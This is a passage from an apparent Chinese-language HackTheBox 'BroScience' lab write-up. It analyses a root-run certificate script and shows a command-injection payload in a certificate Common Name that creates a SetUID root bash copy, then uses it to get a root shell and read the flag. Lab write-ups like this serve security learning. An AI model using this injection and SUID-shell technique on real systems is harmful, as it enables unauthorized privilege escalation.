/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
命令注入
上面的最后一行是重要的一行。如果我可以控制的话,该行存在命令注入漏洞$commonName。向后工作,$commonName设置在这里:
commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
这是打印$commonName设置的任何内容,从第六个字符开始,然后打印到第一个,。
在此之前,$commonName设置基于$subject:
commonName=$(echo $subject | grep -Eo 'CN = .*,?')
我相信作者试图从上到下CN =一个逗号或行尾,但是这个正则表达式的编写方式,因为.*是贪婪的,它总是会遍历行尾。例如:
bill@broscience:~$ echo "this is a test, more stuff" | grep -Eo '.*,?'
this is a test, more stuff
$subject来自openssl读取证书的命令输出:
subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
实际上,如果我可以将命令注入有效负载放入证书中,并使其在不到一天的时间内过期,则该脚本将执行它。
执行
ChatGPT 会很快给我提供openssl制作证书的语法。我将稍微修改一下以满足我的需求:
~$ openssl req -x509 -nodes -newkey rsa:2048 -keyout /dev/null -out Certs/broscience.crt -days 1 :
Generating a RSA private key
......................................................+++++
......................+++++
writing new private key to '/dev/null'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(cp /bin/bash /tmp/0xdf; chmod 4777 /tmp/0xdf)
Email Address []:
我的有效负载将复制bash到/tmp并将其设置为 SetUID 以以 root 身份运行(我最初尝试过/dev/shm,但它已安装nosuid。
两分钟后,在 中出现一个 SetUID 二进制文件/tmp:
bill@broscience:~$ ls -l /tmp/0xdf
-rwsrwxrwx 1 root root 1234376 Mar 31 09:22 /tmp/0xdf
我将运行它,-p不删除权限并以 root 身份获取 shell:
bill@broscience:~$ /tmp/0xdf -p
0xdf-5.1#
并读取标志:
0xdf-5.1# cat root.txt
e810aba4************************
技术交流群添加微信:
原文始发于微信公众号(守护安全团队):玩转HTB靶场系列之BroScience
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论